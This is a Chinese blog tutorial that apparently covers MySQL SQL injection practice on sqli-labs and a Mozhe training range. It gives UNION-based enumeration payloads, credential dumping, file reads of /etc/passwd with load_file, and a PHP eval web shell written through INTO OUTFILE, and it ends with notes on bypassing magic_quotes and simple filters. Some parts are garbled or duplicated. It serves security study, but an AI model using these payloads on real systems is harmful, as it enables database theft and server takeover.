10-mysql数据注入

SQL 注入

SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是

WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

SQL 注入漏洞将是重点部分,其中 SQL 注入

又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需

要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类 [Autodesk 桌面应用程序.lnk](C:\Users\Public\Desktop\Autodesk 桌面应用程序.lnk) 漏洞是

WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

学习路线图:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rYicOuY5-1677808535596)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/1623750701440-910fbead-ad66-48bf-bf97-eb5f58f83565.png)]

sql注入思路

信息收集:收集操作系统、数据库,数据库名、数据库用户、数据库版本、其他(网站路径等)

数据注入:

高权限注入:常规查询、跨库查询、文件读写。

集合渗透工具系统-忍者系统安装

**参考博客:**https://blog.csdn.net/qq_35258210/article/details/115457883

将镜像下载好使用VM安装,我给该系统分配了70个G硬盘,6G内存

镜像下载链接:链接: https://pan.baidu.com/s/1CAw9ztIUhCZgydNWHHWINg 密码: a33b

页面密码:

toor

一、SQL注入原理

  • SQL注入安全测试中的危害

大部分是对数据库中的数据进行操作

更新或者删除,通过SQL注入进行后门的写入,直接获取权限。

两个危害:危害数据库中的数据直接危害网站权限

介绍:

SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且带入数据库查询,攻击者可以构造不同的sql语句来实现对数据库的任意操作。

PHP语句为例:

q u e r y = " s e l e c t ∗ f r o m u s e r s w h e r e i d = query="select * from users where id= query="selectfromuserswhereid=_GET[‘id’] ";

由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。

二、Sqlilabs 注入靶场搭建简要使用

sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入

下载连接:

https://github.com/Audi-1/sqli-labs

安装完成在这里插入图片描述

不同数据库注入方式是不同的

搭建时问题:

出现无法站点目录不存在,请检查站点目录是否被删除或者移动

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J9SES4fA-1677808535598)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230226232633794.png)]

网站目录路径不正确,删除后新建一个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nwG2vpjH-1677808535599)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230226232714820.png)]

三、MYSQL数据库注入

低版本指的是mysql 5.0以下的版本

5.0以上为高版本
在这里插入图片描述

墨者靶场案例:

手工进行SQL注入测试,获取管理密码登录。

案例网址:墨者靶机真实 MYSQL 注入演示

XWAY科技管理系统V3.0

点开下面的公告栏网址:(http://124.70.22.208:40057/new_list.php?id=1)

1、如何判断是否存在注入点

在这里插入图片描述

增加数据库判断语句

  • 逻辑值

    id =1 and 1=1 页面正常

    id=1 and 1=2 页面异常

    则可能存在注入点

  • 同过任意输入字段,不显示页面判断,如果出现跳转则可能不存在sql漏洞,因为已经有了判断条件.

  • order by收集表列名及判断

    ORDER BY 语句用于对结果集进行排序。

    猜列名数量(字段数),通过错误和正常的值.

    通过order by**(数字)** 错误与正常的临界值; 判断注入的字段数

    发现输入(1~4)网站为正常,5报错:

    219.153.49.228:42123/new_list.php?id=1 order by 1,2,3,4 
    --正常
    
    219.153.49.228:42123/new_list.php?id=1 order by 5
    
    --报错
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7eDsYHfS-1677808535600)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230226205701271.png)]

2、信息收集

利用union

  • 联合查询 union select 判断2,3存在回显
  • 注意空格

    http://124.70.22.208:40418/new_list.php?id=-1  union select 1, 2, 3, 4
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tl9Yhzs4-1677808535601)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230226221437357.png)]

  • 收集数据库版本

    • version()

    • //124.70.22.208:40418/new_list.php?id=-1  union select 1, version(), 3, 4
      

      版本为:5.7.22-0ubuntu0.16.04.1

在这里插入图片描述

  • 收集数据库名称

  • database()

    //124.70.22.208:40418/new_list.php?id=-1  union select 1, version(), database(), 4
    `
    
    数据库名:mozhe_Discuz_StormGroup
    
    
    

在这里插入图片描述

  • 数据库用户

  • user()

  • //124.70.22.208:40418/new_list.php?id=-1  union select 1, user(), database(), 4
    

    用户名root@localhost

在这里插入图片描述

  • 操作系统

    • @@version_compile_os

    • //124.70.22.208:40418/new_list.php?id=-1  union select 1, @@version_compile_os, database(), 4
      

      操作系统 :Linux

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0GKIzTnj-1677808535602)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230226222232485.png)]

3、通过高版本中information获取相关信息

在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过 这个数据库获取到数据库下面的表名和列名。

  • information.schema.table

    记录所有表名信息的表

  • information.schema.columns

    记录所有列名信息的表

  • table_name

    表名

  • column_name

    #列名

  • table_schema #数据库名

查询指定表名StormGroup_member下的列名信息:

http://124.70.22.208:40418/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

查询指定表名StormGroup_member下的列名信息:

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

查询指定数据

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from 

在这里插入图片描述

md5解密得到用户名:

在这里插入图片描述

4 猜解多个数据可以采用limit x,1

在末尾添加 limit 1,1(注意有空格),得到另一个密码

在这里插入图片描述

解密后得到密码:

在这里插入图片描述

解密:

//124.70.22.208:40418/new_list.php?id=-1   union select 1,password,status,4 from StormGroup_member limit 1,1

在这里插入图片描述

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hbP6pd1b-1677808535604)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230226230528394.png)]

在这里插入图片描述

Union注入攻击

SQlL-iabs第二关:

一、information_schema重要结构

  • SCHEMATA :存储数据库名的,
    ——>关键字段:SCHEMA_NAME,表示数据库名称

  • TABLES :存储表名的

——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

——>关键字段:TABLE_NAME表示所属的表的名称


  • COLUMNS :存储字段名的

——>关键字段:COLUMN_NAME表示字段名

  • USER_PRIVILEGES 表
    用户权限表。内容源自 mysql.user 授权表。是非标准表。

二、基础准备:

1.查看回显,看出2,3存在回显。

id前面有个?号

http://192.168.234.133/sql/Less-2/?id=-1 union select 1, 2, 3

在这里插入图片描述

2.使用sqlilabs靶场测试

可以看到这个用户名时是root,是最高权限,除root之外都是普通用户.

打开网页进行查询当前数据库的用户

?id=-1%20union%20select%201,user(),3

在这里插入图片描述

可以看到当前用户为root拥有最高的权限。

3.查询当前网站正在使用的数据库名:

http://192.168.234.133/sql/Less-2/?id=-1 union select 1,  database(),3

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VEb5as1S-1677808535606)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230228181352924.png)]

获取到当前网站的数据库是security

4.常见的数据库与用户的对应关系

  • 数据库A=网站A=数据库用户A ——>表名——>列名——>数据
  • 数据库B=网站B=数据库用户B ——>表名——>列名——>数据
  • 数据库C=网站C=数据库用户C ——>表名——>列名——>数据

**备注:**这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,当然这是最基础的数据库模型,现在大网站都是分布式数据库。

5.在数据库中查询有哪些用户

mysql> use mysql;
Database changed
mysql> select host,user,password from user;
+--------------+------+----------+
| host         | user | password |
+--------------+------+----------+
| localhost    | root |          |
| 2c8a2316583a | root |          |
| 127.0.0.1    | root |          |
| ::1          | root |          |
+--------------+------+----------+
4 rows in set (0.00 sec)

mysql>

6.在源码中查看使用的是哪一个用户

root@2c8a2316583a:/var/www/html# cat sql-connections/db-creds.inc
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>

一般在网站安装的时候会指定数据库的用户名和密码这里指定的是root用户密码为空指定的数据库是security

三、高权限注入及低权限注入

1.跨库查询及应用思路

原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点

查看数据库:show databases;

通过’ select * from mysql.sql; '语句,查询数据库中所有数据库用户;普通用户的权限低,

只有root用户可以注入到其他数据库

在这里插入图片描述

2.跨库注入收集信息
  • 实现跨库注入,首先需要获得跨库的数据库的名字

通过SQL语句注入,获得所有数据库名字

http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 

/*注意:group_concat()可以获取所有的
schemata是存放所有数据库ming

SCHEMA_NAME  该列名字段名表示数据库名字 。*/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8yCNAGlJ-1677808535606)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230228170525774-1677658587163.png)]

检查源代码查看所有数据库名:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uQxsk2nE-1677808535606)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230228180654135-1677658587163.png)]

  • 通过域名收集,可以看到该服务器下

还存在其他网站这里以pikachu靶机为案例:存在相互影响

在这里插入图片描述

1).获取指定 security数据库下的表名信息
192.168.234.133/sql/Less-2/?id=-1   union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

//--table_name 该字段记录表名
--table_schema 该字段记录数据库名
--来自table表	

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-va6xRFyx-1677808535607)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230301172059941.png)]

等同于在数据库中执行以下命令

mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'  LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | security    | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql>
2)获取指定数据库security下的users表的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'

//column_name  列名--表中字段名。
来自columns表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nabNFVmx-1677808535607)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230301172835068.png)]

等同于以下的数据库命令:

mysql> use security;

mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book'  LIMIT 0,1;

+----+------------------------------------------------+----------+
| id | username                                       | password |
+----+------------------------------------------------+----------+
|  1 | book_id,book_title,book_author,submission_date | 3        |
+----+------------------------------------------------+----------+
1 row in set (0.00 sec)

mysql>

3.获取数据库security下users表里面的数据
?id=-1 union select 1, username,  pasword from security.users 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bggo4cso-1677808535607)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/1623984914818-f84be02b-0941-4a10-8075-a87c6a11872b.png)]

3.文件读写操作

#mysql文件读写操作

  1. load_file(文件路径) : 读取函数

常见的load_file()读取的敏感信息:

参考博客:

(56条消息) 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客

案例:

读取密码信息:
?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3

读取数据库的配置信息:
?id=-1%20union%20select%201,load_file(%27/var/www/html/sql-connections/db-creds.inc%27),3
  1. into outfile 或 into dumpfile :导出函数,可以写入文件

直接传木马文件

- 1.直接写进文件里

  select version() into outfile "绝对路径"。
  其中version()可以换成其余的查询数据库信息的函数,及木马
  2.修改文件结尾

  select "<?php @eval($_POST['cmd']);?>" into outfile"xxx/test.php",
  这里需要获取到网站在系统中的具体路径(绝对路径)
 

案例:

  • 文件写入

    mysql> select '<?php phpinfo() ?>' into outfile './php';
    
    在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。对目录修改权限测试
    
  • 对目录修改权限测试

    mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
    
    
    //phpinfo()是PHP中的一个函数,用于输出当前PHP环境的详细信息,包括PHP版本、编译器版本、操作系统信息、加载的扩展等等。当在PHP服务器上访问phpinfo()函数时,将显示一个包含所有PHP配置和环境信息的页面,方便了解PHP服务器的设置和配置。
    
    phpinfo()函数输出的信息包含了服务器的很多细节和配置信息,可能会泄露敏感信息,例如服务器路径、用户名、密码等,
    
路径获取常见方法:

获取网站文件目录对于所在路径的方法:

  1. 报错显示

    部分网站出现无法访问时,会出现路径

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X5egDGZd-1677808535608)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230301213503548.png)]

  2. 遗留文件

    网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:

    /test``.php
    /ceshi``.php
    /info``.php
    /phpinfo``.php
    /php_info``.php
    /1``.php
    /l``.php
    /x``.php
    

在这里插入图片描述

  1. 漏洞路径报错

    爆路径漏洞”是由于Web应用程序在向客户端发送错误消息时,意外地泄露了服务器文件系统的路径信息,例如在页面上显示错误的URL或文件路径。攻击者可以利用这些信息来发现系统中的其他文件和目录,并进一步利用这些信息来入侵系统或窃取敏感信息。

    知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径、phpmyadmin等

  2. 平台配置文件

    搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取。

  3. 爆破等

    例如密码字典攻击、暴力破解、漏洞扫描和自动化脚本等技术,以尽可能快地在目标网络或系统中查找漏洞。

需要注意的是,MySQL的文件读写操作需要具有相应的权限才能执行,因此在进行文件读写操作之前,需要确保具有相应的权限。另外,由于文件读写操作可能会对系统安全性造成影响。

四、魔术引号开关及常见防护

一)、魔术引号防护

魔术引号是指PHP中的一个特性,用于自动在字符串中的特殊字符前加上反斜杠(

对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义。

编码软件:winhex

magic_quotes_gpc
因此当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,会导致路径错误。函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dIVnz1qz-1677808535609)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/1623992866922-673dde49-b0a9-4466-bd67-63f02428c86d.png)]

绕过方法
1.采用编码或者宽字节

采用编码或者宽字节,利用工具把路径编码一下,转成十六进制,就可以不需要使用单引号,就可以正常解析
在这里插入图片描述

将原来的路径替换成hex:

二)、内置函数防护

注入实在id这里出现,我们可以在这里进制判断。

在这里插入图片描述

is_int函数

对输入的数字进行过滤判断是否

is_int判断变量是否为整数,是整数就正常执行下面本来要执行的代码

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo '你想干嘛';
}

还有:intval():将变量转换为整数,可以防止SQL注入攻击

等等

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A4luNVE4-1677808535610)(10-%E6%95%B0%E6%8D%AE%E6%B3%A8%E5%85%A5.assets/image-20230302153755889.png)]

缺点有时候正常访问也会被拦截

三)、自定义关键字:select

str_replace() 函数:

以其他字符替换字符串中的一些字符

通过str_replace()函数把select这个关键字函数替换成别,让你无法使用

$id=str_replace('select','sb',$id);

//主要如果没有强调大小写,通过更换就可以绕过,还有编码等情况

str_replace例:

把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:

<?php
echo str_replace("world","Shanghai","Hello world!");
?>

五、WAF防护软件

安全狗,宝塔等

有人分析过也是关键字判断是否触发

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿凯6666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值